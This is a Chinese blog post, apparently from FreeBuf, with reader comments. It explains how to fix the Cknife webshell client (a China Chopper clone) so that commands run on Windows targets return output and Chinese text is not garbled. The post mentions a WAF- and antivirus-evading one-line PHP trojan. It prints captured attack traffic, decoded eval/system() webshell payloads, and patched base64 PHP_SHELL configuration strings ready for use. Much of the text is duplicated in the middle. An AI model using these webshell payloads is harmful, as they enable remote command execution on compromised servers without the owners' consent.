Cknife的PHP功能部分修正,解决SHELL无法回显以及中文乱码
2017-09-22 13:47
573 查看
在现在满大街菜刀都存在后门问题的时候,Cknife横空出世了。因为开源,所以安全。因为可操作的空间挺大的,也十分适合过各种WAF。下面就是解决两个常见问题的过程。希望可以帮到各位白帽子。
工具推荐:Cknife,跨平台版中国菜刀正式开源
但是使用过程中也遇到了一些小问题,被吐槽最多的就是中文乱码以及部分Windows环境shell无法回显。下面我来分析过程,解决问题:首先是shell回显问题,shell在部分windows环境中是不能执行cmd的
哇,气死人了。
昨晚写出来了配套的过狗过D盾过360一句话木马,也把Cknife的数据做了加密。
然而,这东西根本无法好好使用啊!
测试一句话(服务端):
于是给Cknife,连接shell,打开burp抓包
这是执行”whoami”时候的请求,没有返回的报文。
本地模拟了服务端处理客户端请求的场景
然后Base64解码
这就通过短短一句话木马来做事情的秘密了。
特么的!最坑的地方知道是什么吗!我找了一晚上!
看似很正常对吧?
$p = ‘cmd’;
$c= ‘whoami’; (举例)
$r="{$p} {$c}";
然后system($r);
一切都很完美吧?
那你就错了,因为
呵呵,所以shell环境是Windows的时候有可能发生这种低级问题,
你!根!本!执!行!不!了!命!令!
解决起来也很简单
明文修改部分就行了!
实际操作只需要
打开c刀的Config.ini文件,查找 “php_shell=”
修改成
就行了,然后重新打开一次C刀。大功告成。
这只是第一部分,回显中有中文依旧会乱码,于是就有了后半部分文章
中文乱码解决
抓包,得到数据,可以看到,本地模拟的情况下。system函数执行的回显是乱码的。
后来经过测试,是编码的问题 ,把编码修改成utf-8即可显示中文啦~
下面是具体操作
并且需要把system函数修改成exec函数,用来把回显赋值给变量
修改部分
即可正常显示中文
修改cknife目录下的config文件中的php_shell为
即可正常回显中文啦~
*本文作者:Lz1y,转载请注明FreeBuf.COM
Lz1y
2 篇文章 等级:
3级
|
|
上一篇:Kali Linux下社工密码字典生成工具Cupp和Cewl教程
下一篇:
OpenStack:建立虚拟的渗透测试实验环境 – 安装篇
发表评论
chengyu 2017-08-30
回复
1楼
pull requests 没?
亮了(1)
Lz1y 2017-08-31
回复
@ chengyu 感觉刀作者好久没更新了。无所谓了,自己动手修改下就好了
亮了(1)
lrvy
(1级)
2017-08-30 回复
2楼
这个不是先知上的文吗
亮了(0)
Lz1y 2017-08-31
回复
@ lrvy 我就是作者~先知那边的是之前的。这边的是完整点的
亮了(0)
夜尽天明
(5级) 千秋邈矣独留我,百战归来再读书
2017-08-30 回复
3楼
这把刀的源码没编译成功过。。
亮了(0)
Ledon
(1级) 安心学技术,低调中发展
2017-08-30 回复
@ 夜尽天明 有jar包的
亮了(0)
safe222 2017-08-31
回复
4楼
赤裸裸的入侵工具,网络安全法都执行了还是谨慎点把。
亮了(3)
nibiwodong
(1级)
2017-08-31 回复
5楼
一起完善cknife,可以增加些功能进去
亮了(0)
蚯蚓翔龙
(1级) 荣耀王者
2017-09-11 回复
6楼
这句$r="{$p} {$c}";中国菜刀的php配置本来也是这样写,你把这改了 会不会z1参数根本就没用到了, 这样自定义shell路径也不能实现了。
没测试过Win10
中文回显的问题,添加shell的时候选择gb2312应该就可以了
工具推荐:Cknife,跨平台版中国菜刀正式开源
但是使用过程中也遇到了一些小问题,被吐槽最多的就是中文乱码以及部分Windows环境shell无法回显。下面我来分析过程,解决问题:首先是shell回显问题,shell在部分windows环境中是不能执行cmd的
哇,气死人了。
昨晚写出来了配套的过狗过D盾过360一句话木马,也把Cknife的数据做了加密。
然而,这东西根本无法好好使用啊!
测试一句话(服务端):
于是给Cknife,连接shell,打开burp抓包
这是执行”whoami”时候的请求,没有返回的报文。
POST /test.php HTTP/1.1 User-Agent: Java/1.8.0_121 Host: localhost Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Content-type: application/x-www-form-urlencoded Content-Length: 598 Connection: close a=QGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbYWN0aW9uXSkpOw== &action=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2bfCIpOzskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTskYz1zdWJzdHIoJGQsMCwxKT09Ii8iPyItYyBcInskc31cIiI6Ii9jIFwieyRzfVwiIjskcj0ieyRwfSB7JGN9IjtzeXN0ZW0oJHIuIiAyPiYxIiwkcmV0KTtwcmludCAoJHJldCE9MCk/IgpyZXQ9eyRyZXR9CiI6IiI7O2VjaG8oInw8LSIpO2RpZSgpOw%3d%3d&z1=Y21k&z2=Y2QvZCJEOlxwaHBTdHVkeVxXV1dcIiZkaXImZWNobyBbU10mY2QmZWNobyBbRV0%3d
本地模拟了服务端处理客户端请求的场景
<?php //客户端发送请求 $_POST['a'] = 'QGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbYWN0aW9uXSkpOw=='; $_POST['z1']='Y21k'; $_POST['z2']='Y2QvZCJEOlxwaHBTdHVkeVxXV1dcIiZ3aG9hbWkmZWNobyBbU10mY2QmZWNobyBbRV0='; $_POST['action']='QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTskYz1zdWJzdHIoJGQsMCwxKT09Ii8iPyItYyBcInskc31cIiI6Ii9jIFwieyRzfVwiIjskcj0ieyRwfSB7JGN9IjtzeXN0ZW0oJHIuIiAyPiYxIiwkcmV0KTtwcmludCAoJHJldCE9MCk/IgpyZXQ9eyRyZXR9CiI6IiI7O2VjaG8oInw8LSIpO2RpZSgpOw=='; //服务端 eval(base64_decode($_POST['a']).';');
然后Base64解码
<?php $_POST['z1']='Y21k'; $_POST['z2']='Y2QvZCJEOlxwaHBTdHVkeVxXV1dcIiZkaXImZWNobyBbU10mY2QmZWNobyBbRV0='; eval(' @ini_set("display_errors","0"); @set_time_limit(0); @set_magic_quotes_runtime(0); echo("->|");; $p=base64_decode($_POST["z1"]); $s=base64_decode($_POST["z2"]); $d=dirname($_SERVER["SCRIPT_FILENAME"]); $c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";$r="{$p} {$c}"; system($r." 2>&1",$ret); print ($ret!=0)?"ret={$ret}":"";; echo("|<-");die(); ');
这就通过短短一句话木马来做事情的秘密了。
特么的!最坑的地方知道是什么吗!我找了一晚上!
看似很正常对吧?
$p = ‘cmd’;
$c= ‘whoami’; (举例)
$r="{$p} {$c}";
然后system($r);
一切都很完美吧?
那你就错了,因为
呵呵,所以shell环境是Windows的时候有可能发生这种低级问题,
你!根!本!执!行!不!了!命!令!
解决起来也很简单
明文修改部分就行了!
<?php $_POST['z1']='Y21k'; $_POST['z2']='Y2QvZCJEOlxwaHBTdHVkeVxXV1dcIiZkaXImZWNobyBbU10mY2QmZWNobyBbRV0='; eval(' @ini_set("display_errors","0"); @set_time_limit(0); @set_magic_quotes_runtime(0); echo("->|");; $p=base64_decode($_POST["z1"]); $s=base64_decode($_POST["z2"]); $d=dirname($_SERVER["SCRIPT_FILENAME"]); $c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\""; $r="{$s}"; system($r." 2>&1",$ret);print ($ret!=0)?" ret={$ret} ":"";;echo("|<-");die(); ');
实际操作只需要
打开c刀的Config.ini文件,查找 “php_shell=”
修改成
PHP_SHELL=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwpAc2V0X3RpbWVfbGltaXQoMCk7CkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7CmVjaG8oIi0%2bfCIpOzsKJHA9KGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJ6MSJdKSk7CiRzPShiYXNlNjRfZGVjb2RlKCRfUE9TVFsiejIiXSkpOwokZD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7CiRjPXN1YnN0cigkZCwwLDEpPT0iLyI/Ii1jIFwieyRzfVwiIjoiL2MgXCJ7JHN9XCIiOwokYz0kczsKJHI9InskY30iOwpzeXN0ZW0oJHIuIiAyPiYxIiwkcmV0KTtwcmludCAoJHJldCE9MCk/IgpyZXQ9eyRyZXR9CiI6IiI7O2VjaG8oInw8LSIpO2RpZSgpOw%3d%3d
就行了,然后重新打开一次C刀。大功告成。
这只是第一部分,回显中有中文依旧会乱码,于是就有了后半部分文章
中文乱码解决
抓包,得到数据,可以看到,本地模拟的情况下。system函数执行的回显是乱码的。
后来经过测试,是编码的问题 ,把编码修改成utf-8即可显示中文啦~
下面是具体操作
并且需要把system函数修改成exec函数,用来把回显赋值给变量
修改部分
exec($r." 2>&1",$retn,$retn2); foreach($retn as $res) { $res = iconv("GBK", "UTF-8", $res); echo $res; echo "\n"; };
即可正常显示中文
修改cknife目录下的config文件中的php_shell为
修改部分 |
---|
PHP_SHELL=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwpAc2V0X3RpbWVfbGltaXQoMCk7CkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7CmVjaG8oIi0%2bfCIpOzsKJHA9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pOwokcz1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejIiXSk7CiRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTsKJGM9c3Vic3RyKCRkLDAsMSk9PSIvIj8iLWMgXCJ7JHN9XCIiOiIvYyBcInskc31cIiI7CiRyPSJ7JHN9IjsKZXhlYygkci4iIDI%2bJjEiLCRyZXRuLCRyZXRuMik7CmZvcmVhY2goJHJldG4gYXMgJHJlcykgewogICAgJHJlcyA9IGljb252KCJHQksiLCAiVVRGLTgiLCAkcmVzKTsKICAgIGVjaG8gJHJlczsKICAgIGVjaG8gIlxuIjsKfTsKZWNobyAkcmV0bjI7CnByaW50ICgkcmV0bjIhPTApPyJyZXRuMj17JHJldG4yfSI6IiI7OwplY2hvKCJ8PC0iKTsKZGllKCk7 |
*本文作者:Lz1y,转载请注明FreeBuf.COM
Lz1y
2 篇文章 等级:
3级
|
|
上一篇:Kali Linux下社工密码字典生成工具Cupp和Cewl教程
下一篇:
OpenStack:建立虚拟的渗透测试实验环境 – 安装篇
发表评论
已有 9 条评论
chengyu 2017-08-30
回复
1楼
pull requests 没?
亮了(1)
Lz1y 2017-08-31
回复
@ chengyu 感觉刀作者好久没更新了。无所谓了,自己动手修改下就好了
亮了(1)
lrvy
(1级)
2017-08-30 回复
2楼
这个不是先知上的文吗
亮了(0)
Lz1y 2017-08-31
回复
@ lrvy 我就是作者~先知那边的是之前的。这边的是完整点的
亮了(0)
夜尽天明
(5级) 千秋邈矣独留我,百战归来再读书
2017-08-30 回复
3楼
这把刀的源码没编译成功过。。
亮了(0)
Ledon
(1级) 安心学技术,低调中发展
2017-08-30 回复
@ 夜尽天明 有jar包的
亮了(0)
safe222 2017-08-31
回复
4楼
赤裸裸的入侵工具,网络安全法都执行了还是谨慎点把。
亮了(3)
nibiwodong
(1级)
2017-08-31 回复
5楼
一起完善cknife,可以增加些功能进去
亮了(0)
蚯蚓翔龙
(1级) 荣耀王者
2017-09-11 回复
6楼
这句$r="{$p} {$c}";中国菜刀的php配置本来也是这样写,你把这改了 会不会z1参数根本就没用到了, 这样自定义shell路径也不能实现了。
没测试过Win10
中文回显的问题,添加shell的时候选择gb2312应该就可以了
相关文章推荐
- sh文件在windows下修改后无法执行的解决方法以及shell脚本中含中文乱码
- php中文乱码问题以及页面显示部分后台代码问题
- php中文乱码问题以及页面显示部分后台代码问题
- PHP数组传递给JavaScript以及json_encode的gbk中文乱码的解决
- 解决php中json中文乱码以及JQuery读取中文乱码的问题
- php中文乱码问题以及页面显示部分后台代码问题
- php的IMAP的应用实例(实现收发邮件、删除邮件、附件下载等功能,解决中文乱码问题)
- php中文乱码问题以及页面显示部分后台代码问题
- php中文乱码问题以及页面显示部分后台代码问题
- php 接收 shell 返回的结果后,中文乱码的解决办法
- php的IMAP的应用实例(实现收发邮件、删除邮件、附件下载等功能,解决中文乱码问题)
- php中文乱码问题以及页面显示部分后台代码问题
- 解决php接收shell返回的结果中文乱码问题
- php中文乱码问题以及页面显示部分后台代码问题
- C#与PHP制作WEBSERVICE接口时,部分中文是乱码问题的分析与解决
- php中文乱码问题以及页面显示部分后台代码问题
- php中文乱码问题以及页面显示部分后台代码问题
- PHP从数据库导出数据到excel,无插件(解决中文以及法语乱码问题)
- php中文乱码问题以及页面显示部分后台代码问题
- 解决php接收shell返回的结果中文乱码问题